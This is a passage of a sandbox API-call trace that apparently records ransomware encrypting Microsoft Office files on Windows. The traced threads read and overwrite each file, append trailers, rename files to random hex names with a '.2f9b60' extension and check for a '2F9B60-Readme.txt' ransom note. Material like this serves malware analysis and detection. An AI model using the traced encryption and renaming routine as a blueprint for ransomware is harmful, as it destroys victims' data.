[0126.675] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="85") returned 2 [0126.675] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="8b") returned 2 [0126.675] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="32") returned 2 [0126.675] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="b3") returned 2 [0126.675] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="15") returned 2 [0126.675] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="ac") returned 2 [0126.675] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="25") returned 2 [0126.675] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="37") returned 2 [0126.675] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="eb") returned 2 [0126.675] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="0d") returned 2 [0126.675] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="d8") returned 2 [0126.675] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="3a") returned 2 [0126.675] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="dc") returned 2 [0126.675] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="00") returned 2 [0126.675] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="16") returned 2 [0126.675] RtlInitAnsiString (in: DestinationString=0x2344fe48, SourceString="4bf1f0451d1a46662c858b32b315ac2537eb0dd83adc0016" | out: DestinationString="4bf1f0451d1a46662c858b32b315ac2537eb0dd83adc0016") [0126.675] RtlAnsiStringToUnicodeString (in: DestinationString=0x2344fe18, SourceString="4bf1f0451d1a46662c858b32b315ac2537eb0dd83adc0016", AllocateDestinationString=1 | out: DestinationString="4bf1f0451d1a46662c858b32b315ac2537eb0dd83adc0016") returned 0x0 [0126.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a3340 [0126.676] wcscat (in: _Dest=0x2027a290, _Source="4bf1f0451d1a" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4bf1f0451d1a") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4bf1f0451d1a" [0126.676] wcscat (in: _Dest=0x2027a290, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4bf1f0451d1a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4bf1f0451d1a.2f9b60" [0126.676] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4bf1f0451d1a.2f9b60", NtPathName=0x2344fdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4bf1f0451d1a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0126.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107300 [0126.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107300) returned 1 [0126.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48900) returned 1 [0126.678] NtQueryInformationFile (in: FileHandle=0x14b8, IoStatusBlock=0x2344fe58, FileInformation=0x2344fe68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2344fe58, FileInformation=0x2344fe68) returned 0x0 [0126.678] NtSetInformationFile (FileHandle=0x14b8, IoStatusBlock=0x2344fe58, FileInformation=0x2344fe68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0126.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a290) returned 1 [0126.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3340) returned 1 [0126.679] FlushFileBuffers (hFile=0x14b8) returned 1 [0127.988] CloseHandle (hObject=0x14b8) returned 1 [0127.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205cbf0 [0127.989] wcscpy (in: _Dest=0x4205cbf0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0127.989] wcscat (in: _Dest=0x4205cbf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0127.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0127.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0127.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d0b0) returned 1 Thread: id = 1654 os_tid = 0x1b5c [0126.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 0x20 [0126.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF", dwFileAttributes=0x20) returned 1 [0126.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1030 [0126.508] GetFileSizeEx (in: hFile=0x1030, lpFileSize=0x2429fb80 | out: lpFileSize=0x2429fb80*=2966) returned 1 [0126.508] SetFilePointerEx (in: hFile=0x1030, liDistanceToMove=0xb92, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.508] ReadFile (in: hFile=0x1030, lpBuffer=0x2429fb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2429fb48, lpOverlapped=0x0 | out: lpBuffer=0x2429fb00*, lpNumberOfBytesRead=0x2429fb48*=0x4, lpOverlapped=0x0) returned 1 [0126.598] SetFilePointerEx (in: hFile=0x1030, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9970 [0126.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9dc0 [0126.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9ca0 [0126.598] NtQuerySystemTime (in: CurrentTime=0x2429fa40 | out: CurrentTime=0x2429fa40*=132462177318742000) returned 0x0 [0126.598] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x3299e213 [0126.598] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x26986c4a [0126.598] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x6102ba59 [0126.598] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x6ea47544 [0126.598] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x469deed3 [0126.598] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0xe90010f [0126.598] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0xa9f102d [0126.598] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x189f7d80 [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x7765102c [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x3b60dd8e [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x305a79a4 [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x69f52d92 [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x7e30a9e9 [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x21b87a47 [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x6adacfa3 [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x4c479a1c [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x24ea78fa [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x168259f4 [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x4ebbef68 [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x6fba15b5 [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x263edca0 [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x17ba8fbf [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x79da6b3f [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x55734e11 [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0xac22488 [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x601678aa [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x53306bbf [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x7280d120 [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x4e55fc5b [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x2ffd7f94 [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x796382aa [0126.599] RtlRandomEx (in: Seed=0x2429fa30 | out: Seed=0x2429fa30) returned 0x7cf9dd04 [0126.608] ReadFile (in: hFile=0x1030, lpBuffer=0x41d1f0f0, nNumberOfBytesToRead=0xb96, lpNumberOfBytesRead=0x2429fa30, lpOverlapped=0x0 | out: lpBuffer=0x41d1f0f0*, lpNumberOfBytesRead=0x2429fa30*=0xb96, lpOverlapped=0x0) returned 1 [0126.608] SetFilePointerEx (in: hFile=0x1030, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.608] WriteFile (in: hFile=0x1030, lpBuffer=0x41d2a520*, nNumberOfBytesToWrite=0xb96, lpNumberOfBytesWritten=0x2429fa34, lpOverlapped=0x0 | out: lpBuffer=0x41d2a520*, lpNumberOfBytesWritten=0x2429fa34*=0xb96, lpOverlapped=0x0) returned 1 [0128.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e00 [0128.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e30 [0128.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264e30) returned 1 [0128.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d2a520) returned 1 [0128.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d1f0f0) returned 1 [0128.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867a40) returned 1 [0128.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0128.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x20264e30 [0128.007] SetFilePointerEx (in: hFile=0x1030, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.007] WriteFile (in: hFile=0x1030, lpBuffer=0x168d60*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2429fb50, lpOverlapped=0x0 | out: lpBuffer=0x168d60*, lpNumberOfBytesWritten=0x2429fb50*=0x100, lpOverlapped=0x0) returned 1 [0128.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059c40 [0128.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867a40 [0128.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859640 [0128.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859640) returned 1 [0128.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b7d5a50 [0128.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859640 [0128.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859580 [0128.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859580) returned 1 [0128.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867a40) returned 1 [0128.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0128.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x1b859580 [0128.024] sprintf (in: _Dest=0x1b859580, _Format="%c%c" | out: _Dest="c3") returned 2 [0128.024] sprintf (in: _Dest=0x1b859582, _Format="%c%c" | out: _Dest="c0") returned 2 [0128.024] sprintf (in: _Dest=0x1b859584, _Format="%c%c" | out: _Dest="b8") returned 2 [0128.024] sprintf (in: _Dest=0x1b859586, _Format="%c%c" | out: _Dest="65") returned 2 [0128.024] sprintf (in: _Dest=0x1b859588, _Format="%c%c" | out: _Dest="26") returned 2 [0128.024] sprintf (in: _Dest=0x1b85958a, _Format="%c%c" | out: _Dest="b3") returned 2 [0128.024] sprintf (in: _Dest=0x1b85958c, _Format="%c%c" | out: _Dest="65") returned 2 [0128.024] sprintf (in: _Dest=0x1b85958e, _Format="%c%c" | out: _Dest="7b") returned 2 [0128.024] sprintf (in: _Dest=0x1b859590, _Format="%c%c" | out: _Dest="9c") returned 2 [0128.024] sprintf (in: _Dest=0x1b859592, _Format="%c%c" | out: _Dest="f4") returned 2 [0128.024] sprintf (in: _Dest=0x1b859594, _Format="%c%c" | out: _Dest="a2") returned 2 [0128.024] sprintf (in: _Dest=0x1b859596, _Format="%c%c" | out: _Dest="bc") returned 2 [0128.024] sprintf (in: _Dest=0x1b859598, _Format="%c%c" | out: _Dest="8b") returned 2 [0128.024] sprintf (in: _Dest=0x1b85959a, _Format="%c%c" | out: _Dest="ec") returned 2 [0128.025] RtlInitAnsiString (in: DestinationString=0x2429fbc8, SourceString="c3c0b86526b3657b9cf4a2bc8bec" | out: DestinationString="c3c0b86526b3657b9cf4a2bc8bec") [0128.025] RtlAnsiStringToUnicodeString (in: DestinationString=0x2429fb98, SourceString="c3c0b86526b3657b9cf4a2bc8bec", AllocateDestinationString=1 | out: DestinationString="c3c0b86526b3657b9cf4a2bc8bec") returned 0x0 [0128.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x42059880 [0128.025] wcscat (in: _Dest=0x1b85cd50, _Source="c3c0b86" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c3c0b86") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c3c0b86" [0128.025] wcscat (in: _Dest=0x1b85cd50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c3c0b86.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c3c0b86.2f9b60" [0128.025] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c3c0b86.2f9b60", NtPathName=0x2429fb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c3c0b86.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0128.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b8615f0 [0128.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8615f0) returned 1 [0128.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46600) returned 1 [0128.027] NtQueryInformationFile (in: FileHandle=0x1030, IoStatusBlock=0x2429fbd8, FileInformation=0x2429fbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2429fbd8, FileInformation=0x2429fbe8) returned 0x0 [0128.028] NtSetInformationFile (FileHandle=0x1030, IoStatusBlock=0x2429fbd8, FileInformation=0x2429fbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0128.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cd50) returned 1 [0128.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0128.030] FlushFileBuffers (hFile=0x1030) returned 1 [0128.036] CloseHandle (hObject=0x1030) returned 1 [0128.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205c970 [0128.037] wcscpy (in: _Dest=0x4205c970, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0128.037] wcscat (in: _Dest=0x4205c970, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0128.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0128.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c970) returned 1 [0128.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867040) returned 1 Thread: id = 1655 os_tid = 0x1b60 [0126.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam")) returned 0x20 [0126.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM", dwFileAttributes=0x20) returned 1 [0126.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfdc [0126.407] GetFileSizeEx (in: hFile=0xfdc, lpFileSize=0x2412f980 | out: lpFileSize=0x2412f980*=13192) returned 1 [0126.407] SetFilePointerEx (in: hFile=0xfdc, liDistanceToMove=0x3384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.407] ReadFile (in: hFile=0xfdc, lpBuffer=0x2412f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2412f948, lpOverlapped=0x0 | out: lpBuffer=0x2412f900*, lpNumberOfBytesRead=0x2412f948*=0x4, lpOverlapped=0x0) returned 1 [0126.509] SetFilePointerEx (in: hFile=0xfdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b0b0 [0126.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a00 [0126.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859df0 [0126.510] NtQuerySystemTime (in: CurrentTime=0x2412f840 | out: CurrentTime=0x2412f840*=132462177317806000) returned 0x0 [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x6422131 [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x3d466f0c [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x536e72b3 [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x60d3236 [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x6736d85b [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0xfe80b8e [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x3fe2315e [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x6cfc8595 [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x7664f05b [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x74651263 [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x21aea3dc [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x2ddac80d [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x63d4dab5 [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x5a9c545b [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x341f595c [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x1d2c0ba [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x5d016643 [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x58dacedf [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x15645f26 [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x6540a0c5 [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x55cbb744 [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x4d9d85d9 [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x37356baf [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x7c6d60e4 [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x696c2a42 [0126.510] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x4f947c7e [0126.511] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x2ce7194d [0126.511] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x24ea78fa [0126.511] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x17c2c704 [0126.511] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0xe5f1811 [0126.511] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x3281f806 [0126.511] RtlRandomEx (in: Seed=0x2412f830 | out: Seed=0x2412f830) returned 0x32b9e0b1 [0126.519] ReadFile (in: hFile=0xfdc, lpBuffer=0x41d2e130, nNumberOfBytesToRead=0x3388, lpNumberOfBytesRead=0x2412f830, lpOverlapped=0x0 | out: lpBuffer=0x41d2e130*, lpNumberOfBytesRead=0x2412f830*=0x3388, lpOverlapped=0x0) returned 1 [0126.561] SetFilePointerEx (in: hFile=0xfdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.562] WriteFile (hFile=0xfdc, lpBuffer=0x41d31d40, nNumberOfBytesToWrite=0x3388, lpNumberOfBytesWritten=0x2412f834, lpOverlapped=0x0) [0170.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cce0 [0170.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cd10 [0170.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cd10) returned 1 [0170.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d31d40) returned 1 [0170.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d2e130) returned 1 [0170.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866ec0) returned 1 [0170.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0170.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cd10 [0170.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0170.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866ec0 [0170.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cd40 [0170.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cd40) returned 1 [0170.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cd40 [0170.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cd70 [0170.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cda0 [0170.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cda0) returned 1 [0170.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866ec0) returned 1 [0170.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0170.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x42c166f0 [0170.850] SetFilePointerEx (in: hFile=0xfdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0170.850] WriteFile (in: hFile=0xfdc, lpBuffer=0x42c166f0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2412f950, lpOverlapped=0x0 | out: lpBuffer=0x42c166f0*, lpNumberOfBytesWritten=0x2412f950*=0x104, lpOverlapped=0x0) returned 1 [0200.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0200.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263dd0) returned 1 [0200.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x42c0f0e0 [0200.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0200.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202618e0 [0200.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202618e0) returned 1 [0200.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x202618e0 [0200.038] sprintf (in: _Dest=0x202618e0, _Format="%c%c" | out: _Dest="6f") returned 2 [0200.038] sprintf (in: _Dest=0x202618e2, _Format="%c%c" | out: _Dest="29") returned 2 [0200.038] sprintf (in: _Dest=0x202618e4, _Format="%c%c" | out: _Dest="c9") returned 2 [0200.038] sprintf (in: 